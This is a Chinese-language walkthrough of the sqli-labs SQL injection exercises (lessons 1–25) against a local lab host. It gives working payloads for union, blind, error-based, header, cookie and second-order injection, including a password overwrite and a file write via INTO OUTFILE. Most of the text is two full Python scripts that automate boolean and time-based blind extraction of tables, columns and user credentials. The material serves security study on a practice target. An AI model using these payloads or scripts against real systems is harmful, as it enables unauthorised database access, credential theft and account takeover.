less1

判断id是字符型还是数字型,由下图可得sql为字符型,由单引号包裹
less1-1
下面我们爆列数,可知列数为3
less1-2
下面我们爆回显位置,可知回显位置为2和3
less1-3
下面我们利用这两个回显位查询数据库信息
less1-4
下面我们查询数据库security中所有表
less1-5
下面我们查询users表中所有列
less1-6
下main我们查询users表中所有的username、password对,并用~连接输出
less1-7

less-2

判断id是字符型还是数字型,这里易知是数字型,其他操作与less1一致
less2-1

less-3

这里注入单引号之后会报错,从报错信息上能看出,这里是字符型,且被单引号和括号包裹,其他操作与less1一致
less3-1

less-4

这里注入双引号之后会报错,从报错信息上能看出,这里是字符型,且被单引号和括号包裹,其他操作与less1一致
less4-1

less-5

这里注入单引号之后报错,从报错信息上能看出,这里是字符型,且无回显,当输入正确后才会显示you are in,这里需要用到布尔盲注
less5-1
先判断数据库长度
less5-2
开启burpsuite,将数据包发送到intruder,爆出数据库长度,这里试20位
less5-3
能够发现,当数据长度设置到8的时候,返回的数据包长度是跟其他的不一样的
less5-4
接下来我们试着爆出数据库名字,通过left函数取出数据库的前几位,逐位爆破出8位数据库名
less5-5
继续操作即可爆出其他信息

less-6

首先判断诸如类型,这里发现是双引号包裹的字符型
less6-1
后续操作跟less-5类似,通过布尔盲注爆出我们想要获取的信息

less-7

通过尝试发现,这里是用单引号和两个括号包裹的字符型
less7-1
这里提示使用outfile,我们依旧是先爆出注入位数,然后使用outfile将查询结果存储在文件中
http://192.168.183.1/sqli/Less-7/?id=1')) union select version(),database(),user() into outfile 'D://phpstudy_pro//WWW//sqli//Less-7//1.txt'--+
less7-2

less-8

本关有sql语句的显示,容易发现这是一个单引号包裹的字符型注入,通过布尔盲注的方式我们即可获取信息
less8-1

less-9

第九关我们发现不管输入什么都显示you are in,那么我们只能换种方式,采取时间盲注的方式
时间盲注是通过设置sql语句,让数据库验证语句,并对不同的验证结果执行不同的返回时间
我们设置一个简单的if语句来测试时间盲注是否有效
payload:http://192.168.183.1/sqli/Less-9/?id=1' and if(1=1,sleep(2),1)--+
执行该语句的返回时间较长,即if语句为真,其他操作与布尔盲注一致,只是现在需要通过返回时间来判断,而不是通过回显来判断
less9-1

less-10

本关也是一道时间盲注的关卡,只是这里的包裹方式与第九关不同,这里我们可以先设置一个if语句,通过返回时间来判断我们的包裹方式是否有效:http://192.168.183.1/sqli/Less-10/?id=1 and if(1=1,sleep(5),1)--+,保持if语句不变,只修改包裹方式,查看返回时间,返回时间是5秒则包裹方式正确。之后的操作与布尔盲注一致,即可获取数据库信息。

less-11

本官是一个登录页面,可以输入用户名和密码及进行登录。我们可以对输入框进行测试,想办法绕过用户名密码的验证。
如图,当我们输入1' or 1=1#的时候,数据库验证语句必为真,即可跳过验证
less11-1

less-12

在这一关我们输入1'并不会显示错误,说明用户名输入框不是由单引号包裹的,我们尝试双引号发现报错显示,并根据报错信息能够知道在双引号后还有一个括弧,我们通过这些信息即可绕过验证。
less12-1

less-13

与前几关一样,我们容易发现这是一个由单引号和括号包裹的输入,但是绕过验证之后并不会回显,这时我们就要用到报错注入了。
1') and updatexml (1,concat(database()),1)#
less13-1

less-14

容易发现这是一个双引号包裹的输入,且这一关和13关一样没有文字回显,我们也用报错注入的方式进行注入。
1" and updatexml(1,concat('~',database()),1)#
less14-1

less-15

这一关不会显示语法错误,只能通过回显的图片判断是否成功绕过。
我们先构造好一个为真的语句1 or 1=1#,在这个基础上修改包裹的方式,通过回显的图片判断是否成功绕过。
这里我们发现利用语句1' or 1=1#可绕过。
在这个基础上我们进行布尔盲注,即可爆出数据库信息。
less15-1

less-16

这里很容易试出")包裹即可绕过,与15关一样,通过布尔盲注即可爆出数据库信息。
less16-1

less-17

这关是一个重置密码的网页,实验发现用户名输入框会进行检查,将特殊字符转义,没法在此进行注入,我们对密码框进行注入。输入存在的用户名,然后利用报错注入,爆出数据库信息。(因为在获取密码信息的时update语句,不是select语句,不能实现我们想要的查询效果)
less17-1

less-18

这一关必须是输入正确的用户名和密码才能登陆,但是这关会显示ip,当我们输入正确的用户名和密码后,会显示我们的User-Agent信息,我们尝试http请求头注入。
我们输入正确的用户名和密码后抓包,对User-Agent字段进行修改。
因为原本的User-Agent有三条数据,我们修改时也应保证修改后的User-Agent有三条数据,我们使其中一条位我们的报错注入即可。
less18-1
less18-2

less-19

输入正确的用户名和密码后会显示我们的referer信息,如图
less19-1
我们抓包修改referer尝试能否注入
less19-2
通过修改refere为 1' , updatexml(1,concat('~',database()),1))#

less-20

本关会显示cookie信息,我们尝试抓包修改cookie信息。
登陆成功发现cookie后面还会显示expires信息,我们对cookie后面部分进行注入
刷新一次会发送两个包,我们对get包进行修改,cookie改为uname=admin' and updatexml(1,concat('~',database()),1)#
less20-1

less-21

这一关也是获取了我们的cookie信息,但是这里我们能够看到他并不是明文显示的,我们采取20关的方式是没法注入的,我们也很容易看出这采用了base64编码,我们将想要传入的信息通过base64编码后传入cookie
less21-1
less21-2
less21-3
要注意的是这里编码的结果如果有特殊字符,需要转义,因为如果不在updatexml后加空格的话,产生的base64编码会有+号,会对语义产生歧义。

less-22

我们采取21关的方式及逆行注入发现无法显示我们的报错信息,说明并没有执行。
less22-1
可能是我们的包裹方式不对,我们尝试换种方式包裹,发现双引号包裹成功。
less22-2

less-23

如图我们很容易发现这是单引号包裹的
less23-1
但是我们注入#--+都无法注释掉后部分的' LIMIT 0,1
less23-2
但是我们采用orand连接的一个无关紧要的语句去闭合LIMIT 0,1前面的单引号即可
less23-3

less-24

这是一个带注册和更新密码的登陆页面,我们尝试后发现登陆页面的输入框做了过滤,于是我们对注册页面及进行注入
我们注册一个用户名为admin'#的用户,单引号是为了闭合包裹的单引号,井号是为了注释之后的语句
less24-1
查询数据库如图,此时能够看到注册的用户,并且此时admin用户的密码是admin
less24-2
注册成功之后我们登陆进去,然后修改我们的admin'#的密码为111111
less24-3
我们再次查询数据库发现admin用户的密码被改成了111111
less24-4

less-25

这一关提示我们orand被过滤了,我们先尝试大小写混合
测试发现这是由单引号包裹的,且#被过滤,只能用--+注释
发现大小写都不能成功,于是我们考虑双写绕过
less25-1
双写绕过成功

小结

布尔盲注

常用函数

1
2
3
4
5
length(str)函数 返回字符串的长度
substr(str,poc,len)截取字符串,poc表示截取字符串的开始位,len表示截取字符串的长度
ascii()返回字符的ascii码,返回该字符对应的ascii码,如被过滤可以用hex()、bin()、ord()代替
count():返回当前列的数量
case when (条件) then 代码1 else 代码2 end :条件成立,则执行代码1,否则执行代码2

替换函数

1
2
3
4
5
6
7
8
1、如果程序过滤了substr函数,可以用其他函数代替:效果与substr()一样
left(str,index)从左边第index开始截取
right(str,index)从右边第index开始截取
substring(str,index)从左边index开始截取
mid(str,index,len)截取str从index开始,截取len的长度
lpad(str,len,padstr)
rpad(str,len,padstr)在str的左(右)两边填充给定的padstr到指定的长度len,返回填充的结果
2、如果程序过滤了 = (等于号),可以用in()、like代替

时间盲注

常用函数

1
2
if(expr1,expr2,expr3):判断第一个语句是否正确,正确执行expr2,不正确执行expr3
sleep(i);等待参数(秒)后返回

替换函数

1
2
3
4
5
benchmark():benchmark(arg1,arg2)用来测试一些函数的执行速度,arg1是执行的次数,arg2是要执行的函数或者表达式。
如select if(1=1,benchmark(5000000,md5('abc')),'goodbye') 结果1=1成立,页面延迟x秒显示,根据机器性能不同,执行时间不同
case when else end;:适用于一个条件判断有多种值分别执行不同的操作的场景。
使用方法:case arg1 when true then arg2 else 0 end; arg1代表判断的条件,arg2是条件为true返回的结果
如case length(version())>10 when 1 then sleep(3) else 0 end; 当版本长度大于10时,睡眠3秒,其他条件返回0

报错注入

XPATH报错注入

extractvalue(arg1,arg2):接受两个参数,arg1:XML文档,arg2:XPATH语句
条件:mysql5.1及以上版本
标准payload:and extractvalue(1,concat('~',database()))
返回结果:XPATH syntax error: '~security'
updatexml(arg1,arg2,arg3):arg1为xml文档对象的名称,arg2为xpath格式的字符串;arg3为string格式替换查找到的符合条件的数据
条件:mysql5.1.5及以上版本,截至8.0.13可用
标准payload:and updatexml(1,concat('~',select user()),1)
返回结果:XPATH syntax error: '~security'

floor(group by)报错注入

floor()报错注入准确的说应该是floor、count、group by 冲突报错,count(*)、rand()、group by 三者缺一不可
在17关密码框输入payload:1' and (select 1 from (select count(*),concat(database(),floor(rand(0)*2)) as x from information_schema.tables group by x) as y)

其他报错注入函数

exp():exp()数学函数,用于计算e的x次方的函数。由于数字太大是会产生溢出。这个函数会在参数大于709时溢出,报错。
条件:5.5<mysql版本<5.6(但是我自己在5.5.53版本测试不能显示查询信息)
payload:and (exp(~(select * from (操作代码) a)))
geometrycollection():由于MYSQL无法用这样字符串画出图形,所以报错了
条件:5.5<mysql版本<5.6
payload:and geometrycollection((select * from(select * from(操作代码)a)b))
join():
版本要求:截至8.0.13可用
payload:UNION SELECT * FROM (SELECT 1) a JOIN (SELECT 2) b
multilinestring()
版本:5.5< mysql版本 <5.6
linestring():
版本:5.5< mysql版本 <5.6
payload:and linestring((select * from(select * from(select user())a)b))
payload:and multilinestring((select * from(select * from(select VERSION())a)b))
multpolygon()
版本:5.5< mysql版本 <5.6
payload:and multpolygon (select * from(select user() )a)b )
polygon ()
版本:5.5< mysql版本 <5.6
payload:and polygon((select * from(select * from(select VERSION())a)b))
multipoint()
payload:and multipoint((select * from(select * from(select user())a)b))

相关脚本

布尔盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
import requests


# 数据库库名长度
def db_length():
db_len = 1
while True:
str_db_len = str(db_len)
db_len_url = url + "' and length(database())=" + str_db_len + "--+"
r = requests.get(db_len_url)
if flag in r.text:
print("\n当前数据库名长度为:%s" % str_db_len)
break
else:
db_len = db_len + 1
return db_len


# 猜解当前数据库库名
def db_name():
low = 32
high = 126
i = 1
km = ""
while (i <= db_len):
str_i = '%d' % i

if (low + high) % 2 == 0:
mid = (low + high) / 2
elif (low + high) % 2 != 0:
mid = (low + high + 1) / 2
str_mid = '%d' % mid

name_url = url + "' and ascii(substr((select schema_name from information_schema.schemata limit 5,1)," + str_i + ",1))=" + str_mid + "--+"
response = requests.get(name_url)

if flag in response.text:
km += chr(int(mid))
print(km)
i = i + 1
low = 32
high = 126
elif flag not in response.text:
name_url = url + "' and ascii(substr((select schema_name from information_schema.schemata limit 5,1)," + str_i + ",1))>" + str_mid + "--+"
response = requests.get(name_url)
if flag in response.text:
low = mid
elif flag not in response.text:
high = mid
print("当前数据库库名为:" + km)
return km


# 判断表的个数
def table_num():
for i in range(20):
str_i = '%d' % i
num_url = url + "' and (select count(table_name) from information_schema.tables where table_schema='" + db_name + "')=" + str_i + "--+"
r = requests.get(num_url)
if flag in r.text:
print("\n数据表个数为:%s" % str_i)
break
return i


# 判断表名长度
def table_len():
t_len = []
for i in range(0, table_num):
str_i = str(i)
for j in range(1, 20):
str_j = str(j)
len_url = url + "' and (select length(table_name) from information_schema.tables where table_schema='" + db_name + "' limit " + str_i + ",1)=" + str_j + "%23"
r = requests.get(len_url)
if flag in r.text:
print("第" + str(i + 1) + "张表的表名长度为:" + str_j)
t_len.append(j)
break
return t_len


# 猜解表名
def table_name():
tname = {}
for i in range(0, table_num):
str_i = str(i)
for j in range(table_num):
if i == j:
k = 1
low = 32
high = 126
bm = ""
while (k <= t_len[j]):
str_k = str(k)
if (low + high) % 2 == 0:
mid = (low + high) / 2
elif (low + high) % 2 != 0:
mid = (low + high + 1) / 2
str_mid = str(mid)
name_url = url + "' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit " + str_i + ",1)," + str_k + ",1))=" + str_mid + "--+"
r = requests.get(name_url)
if flag in r.text:
bm += chr(int(mid))
#print(bm)不展示猜解过程
k = k + 1
low = 32
high = 126
elif flag not in r.text:
name_url = url + "' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit " + str_i + ",1)," + str_k + ",1))>" + str_mid + "--+"
r = requests.get(name_url)
if flag in r.text:
low = mid
elif flag not in r.text:
high = mid
tname[str(j + 1)] = str(bm)
for key, value in tname.items():
print("[+]| " + key + " | " + value)
return tname


# 判断表中列个数
def column_num():
for i in range(10):
str_i = str(i)
num_url = url + "' and (select count(column_name) from information_schema.columns where table_name='" + table_name + "' and table_schema='" + db_name + "')=" + str_i + "--+"
r = requests.get(num_url)
if flag in r.text:
print(table_name + "表中列的个数为:%s" % str_i)
break
return i


# 判断列名长度
def column_len():
c_len = []
for i in range(0, column_num):
str_i = str(i)
for j in range(1, 20):
str_j = str(j)
len_url = url + "' and (select length(column_name) from information_schema.columns where table_name='" + table_name + "' and table_schema='" + db_name + "'limit " + str_i + ",1)=" + str_j + "%23"
r = requests.get(len_url)
if flag in r.text:
c_len.append(j)
print("第" + str(i + 1) + "列的列名长度为:" + str_j)
break
return c_len


# 猜解列名
def column_name():
cname = {}
for i in range(0, column_num):
str_i = str(i)
for j in range(column_num):
if i == j:
k = 1
low = 31
high = 127
cm = ''
while k <= column_len[j]:
str_k = str(k)
mid = 0
if (low + high) % 2 == 0:
mid = (low + high) / 2
elif (low + high) % 2 != 0:
mid = (low + high + 1) / 2
str_mid = str(mid)
name_url = url + "' and ascii(substr((select column_name from information_schema.columns where table_name='" + table_name + "' and table_schema='" + db_name + "' limit " + str_i + ",1)," + str_k + ",1))=" + str_mid + "--+"
r = requests.get(name_url)
if flag in r.text:
cm += chr(int(mid))
#print(cm)不展示猜解过程
k = k + 1
low = 31
high = 127
elif flag not in r.text:
name_url = url + "' and ascii(substr((select column_name from information_schema.columns where table_name='" + table_name + "' and table_schema='" + db_name + "' limit " + str_i + ",1)," + str_k + ",1))>" + str_mid + "--+"
r = requests.get(name_url)
if flag in r.text:
low = mid
elif flag not in r.text:
high = mid
cname[str(j)] = str(cm)
for key, value in cname.items():
print("[+]| " + str(int(key) + 1) + " | " + value)
return cname


# 判断字段个数
def dump_num():
for i in range(0, column_num):
for j in range(20):
str_j = str(j)
num_url = url + "' and (select count(" + cname[
str(i)] + ") from " + db_name + "." + table_name + ")=" + str_j + "--+"
r = requests.get(num_url)
if flag in r.text:
print(cname[str(i)] + "列中的记录数为:%s" % str_j)
break
return j


# 判断记录数
def dump_len():
user_len = []
list_k = []
for i in range(0,column_num):
for j in range(0, dump_num):
str_j = str(j)
for k in range(1, 200):
str_k = str(k)
len_url = url + "' and (select length(" + cname[str(i)] + ") from " + db_name + "." + table_name + " limit " + str_j + ",1)=" + str_k + "%23"
r = requests.get(len_url)
if flag in r.text:
list_k.append(k)
print(cname[str(i)] + "列中第" + str(j + 1) + "个记录长度为:" + str_k)
break
user_len.append(list_k)
list_k = []
return user_len


# 猜解字段值
def dump():
username = []
list_k = []
for i in range(0, column_num):
for j in range(0, dump_num):
str_i = str(i)
str_j = str(j)
k = 1
low = 31
high = 127
uname = ''
while k <= user_len[i][j]:
str_k = str(k)
if (low + high) % 2 == 0:
mid = (low + high) / 2
elif (low + high) % 2 != 0:
mid = (low + high + 1) / 2
str_mid = str(mid)
user_url = url + "' and ascii(substr((select " + cname[str(i)] + " from " + db_name + "." + table_name + " limit " + str_j + ",1)," + str_k + ",1))=" + str_mid + "--+"
r = requests.get(user_url)
if flag in r.text:
uname += chr(int(mid))
if k == user_len[i][j]:
print(str(j + 1) + "| " + cname[str(i)] + ":" + uname)
k = k + 1
low = 31
high = 127
elif flag not in r.text:
user_url = url + "' and ascii(substr((select " + cname[str(i)] + " from " + db_name + "." + table_name + " limit " + str_j + ",1)," + str_k + ",1))>" + str_mid + "--+"
r = requests.get(user_url)
if flag in r.text:
low = mid
elif flag not in r.text:
high = mid
list_k.append(uname)
username.append(list)
list_k = []


# 程序入口
if (__name__ == "__main__"):
url = "http://192.168.183.1/sqli/Less-5/?id=1"
flag = "You are in..........."
print("..........开始猜解当前数据库库名长度..........")
db_len = db_length()
print("\n............开始猜解当前数据库库名............")
db_name = db_name()
print("\n.............开始判断数据表的个数.............")
table_num = table_num()
print("\n...............开始判断表名长度...............\n")
t_len = table_len()
print("\n.................开始猜解表名.................\n")
tname = table_name()
table_name = input("\n请选择一张表:")
print("\n.............开始判断表中列的个数.............\n")
column_num = column_num()
print("\n...............开始判断列名长度...............\n")
column_len = column_len()
print("\n.................开始猜解列名.................\n")
cname = column_name()
print("\n................开始判断字段数................\n")
dump_num = dump_num()
print("\n...............开始判断字段长度...............\n")
user_len = dump_len()
print("\n................开始猜解字段值................\n")
dump()

时间盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
import time
import requests


# 数据库库名长度
def db_length():
db_len = 1
while True:
str_db_len = str(db_len)
db_len_url = url + "' union select 1,2,if (length(database())=" + str_db_len + ",sleep(1),null) %2D%2D%20"
starttime = time.time()
r = requests.get(db_len_url)
if time.time() - starttime > 1:
print("\n当前数据库名长度为:%s" % str_db_len)
break
else:
db_len = db_len + 1
return db_len


# 猜解当前数据库库名
def db_name():
low = 31
high = 127
i = 1
km = ""
while (i <= db_len):
str_i = '%d' % i

if (low + high) % 2 == 0:
mid = (low + high) / 2
elif (low + high) % 2 != 0:
mid = (low + high + 1) / 2
str_mid = '%d' % mid

name_url = url + "' union select 1,2, if(ascii(substr(database()," + str_i + ",1))=" + str_mid + ",sleep(1),null) %2D%2D%20"
starttime = time.time()
response = requests.get(name_url)

if time.time() - starttime > 1:
km += chr(int(mid))
print(km)
i = i + 1
low = 31
high = 127
else:
name_url = url + "' union select 1,2, if(ascii(substr(database()," + str_i + ",1))>" + str_mid + ",sleep(1),null) %2D%2D%20"
starttime = time.time()
response = requests.get(name_url)
if time.time() - starttime > 1:
low = mid
else:
high = mid
print("当前数据库库名为:" + km)
return km


# 判断表的个数
def table_num():
for i in range(20):
str_i = '%d' % i
num_url = url + "' and if ((select count(table_name) from information_schema.tables where table_schema = '" + db_name + "')=" + str_i + ",sleep(1),null) %2D%2D%20"
starttime = time.time()
r = requests.get(num_url)
if time.time() - starttime > 1:
print("\n数据表个数为:%s" % str_i)
break
return i


# 判断表名长度
def table_len():
t_len = []
for i in range(0, table_num):
str_i = str(i)
for j in range(1, 20):
str_j = str(j)
len_url = url + "' and if (( (select length(table_name) from information_schema.tables where table_schema = '" + db_name + "' limit " + str_i + ",1)=" + str_j + "),sleep(1),true) %2D%2D%20"
starttime = time.time()
r = requests.get(len_url)
if time.time() - starttime > 1:
print("第" + str(i + 1) + "张表的表名长度为:" + str_j)
t_len.append(j)
break
return t_len


# 猜解表名
def table_name():
tname = {}
for i in range(0, table_num):
str_i = str(i)
for j in range(table_num):
if i == j:
k = 1
low = 31
high = 127
bm = ""
while (k <= t_len[j]):
str_k = str(k)
if (low + high) % 2 == 0:
mid = (low + high) / 2
elif (low + high) % 2 != 0:
mid = (low + high + 1) / 2
str_mid = str(mid)
name_url = url + "' and if ((ascii(substr((select table_name from information_schema.tables where table_schema = database() limit " + str_i + ",1)," + str_k + ",1))=" + str_mid + "),sleep(2),true) %2D%2D%20"
starttime = time.time()
r = requests.get(name_url)
if time.time() - starttime > 2:
bm += chr(int(mid))
#print(bm)不展示猜解过程
k = k + 1
low = 31
high = 127
else:
name_url = url + "' and if ((ascii(substr((select table_name from information_schema.tables where table_schema = database() limit " + str_i + ",1)," + str_k + ",1))>" + str_mid + "),sleep(2),true) %2D%2D%20"
starttime = time.time()
r = requests.get(name_url)
if time.time() - starttime > 2:
low = mid
else:
high = mid
tname[str(j + 1)] = str(bm)
for key, value in tname.items():
print("[+]| " + key + " | " + value)
return tname


# 判断表中列个数
def column_num():
for i in range(10):
str_i = str(i)
num_url = url + "' and if((select count(column_name) from information_schema.columns where table_name='" + table_name + "' and table_schema='" + db_name + "')=" + str_i + ",sleep(2),true) %2D%2D%20"
starttime = time.time()
r = requests.get(num_url)
if time.time() - starttime > 2:
print(table_name + "表中列的个数为:%s" % str_i)
break
return i


# 判断列名长度
def column_len():
c_len = []
for i in range(0, column_num):
str_i = str(i)
for j in range(1, 20):
str_j = str(j)
len_url = url + "' and if((select length(column_name) from information_schema.columns where table_name='" + table_name + "' and table_schema='" + db_name + "'limit " + str_i + ",1)=" + str_j + ",sleep(2),true) %2D%2D%20"
starttime = time.time()
r = requests.get(len_url)
if time.time() - starttime > 2:
c_len.append(j)
print("第" + str(i + 1) + "列的列名长度为:" + str_j)
break
return c_len


# 猜解列名
def column_name():
cname = {}
for i in range(0, column_num):
str_i = str(i)
for j in range(column_num):
if i == j:
k = 1
low = 31
high = 127
cm = ''
while k <= column_len[j]:
str_k = str(k)
mid = 0
if (low + high) % 2 == 0:
mid = (low + high) / 2
elif (low + high) % 2 != 0:
mid = (low + high + 1) / 2
str_mid = str(mid)
name_url = url + "' and if(ascii(substr((select column_name from information_schema.columns where table_name='" + table_name + "' and table_schema='" + db_name + "' limit " + str_i + ",1)," + str_k + ",1))=" + str_mid + ",sleep(2),true) %2D%2D%20"
starttime = time.time()
r = requests.get(name_url)
if time.time() - starttime > 2:
cm += chr(int(mid))
#print(cm)不展示猜解过程
k = k + 1
low = 31
high = 127
else:
name_url = url + "' and if(ascii(substr((select column_name from information_schema.columns where table_name='" + table_name + "' and table_schema='" + db_name + "' limit " + str_i + ",1)," + str_k + ",1))>" + str_mid + ",sleep(2),true) %2D%2D%20"
starttime = time.time()
r = requests.get(name_url)
if time.time() - starttime > 2:
low = mid
else:
high = mid
cname[str(j)] = str(cm)
for key, value in cname.items():
print("[+]| " + str(int(key) + 1) + " | " + value)
return cname


# 判断字段个数
def dump_num():
for i in range(0, column_num):
for j in range(20):
str_j = str(j)
num_url = url + "' and if((select count(" + cname[str(i)] + ") from " + db_name + "." + table_name + ")=" + str_j + ",sleep(2),true) %2D%2D%20"
starttime = time.time()
r = requests.get(num_url)
if time.time() - starttime > 2:
print(cname[str(i)] + "列中的记录数为:%s" % str_j)
break
return j


# 判断记录数
def dump_len():
user_len = []
list_k = []
for i in range(0,column_num):
for j in range(0, dump_num):
str_j = str(j)
for k in range(1, 200):
str_k = str(k)
len_url = url + "' and if((select length(" + cname[str(i)] + ") from " + db_name + "." + table_name + " limit " + str_j + ",1)=" + str_k + ",sleep(2),true) %2D%2D%20"
starttime = time.time()
r = requests.get(len_url)
if time.time() - starttime > 2:
list_k.append(k)
print(cname[str(i)] + "列中第" + str(j + 1) + "个记录长度为:" + str_k)
break
user_len.append(list_k)
list_k = []
return user_len


# 猜解字段值
def dump():
username = []
list_k = []
for i in range(0, column_num):
for j in range(0, dump_num):
str_i = str(i)
str_j = str(j)
k = 1
low = 31
high = 127
uname = ''
while k <= user_len[i][j]:
str_k = str(k)
if (low + high) % 2 == 0:
mid = (low + high) / 2
elif (low + high) % 2 != 0:
mid = (low + high + 1) / 2
str_mid = str(mid)
user_url = url + "' and if(ascii(substr((select " + cname[str(i)] + " from " + db_name + "." + table_name + " limit " + str_j + ",1)," + str_k + ",1))=" + str_mid + ",sleep(2),true) %2D%2D%20"
starttime = time.time()
r = requests.get(user_url)
if time.time() - starttime > 2:
uname += chr(int(mid))
if k == user_len[i][j]:
print(str(j + 1) + "| " + cname[str(i)] + ":" + uname)
k = k + 1
low = 31
high = 127
else:
user_url = url + "' and if(ascii(substr((select " + cname[str(i)] + " from " + db_name + "." + table_name + " limit " + str_j + ",1)," + str_k + ",1))>" + str_mid + ",sleep(2),true) %2D%2D%20"
starttime = time.time()
r = requests.get(user_url)
if time.time() - starttime > 2:
low = mid
else:
high = mid
list_k.append(uname)
username.append(list)
list_k = []

# 程序入口
if (__name__ == "__main__"):
url = "http://192.168.183.1/sqli/Less-9/?id=1"
flag = "You are in..........."
print("..........开始猜解当前数据库库名长度..........")
db_len = db_length()
print("\n............开始猜解当前数据库库名............")
db_name = db_name()
print("\n.............开始判断数据表的个数.............")
table_num = table_num()
print("\n...............开始判断表名长度...............\n")
t_len = table_len()
print("\n.................开始猜解表名.................\n")
tname = table_name()
table_name = input("\n请选择一张表:")
print("\n.............开始判断表中列的个数.............\n")
column_num = column_num()
print("\n...............开始判断列名长度...............\n")
column_len = column_len()
print("\n.................开始猜解列名.................\n")
cname = column_name()
print("\n................开始判断字段数................\n")
dump_num = dump_num()
print("\n...............开始判断字段长度...............\n")
user_len = dump_len()
print("\n................开始猜解字段值................\n")
dump()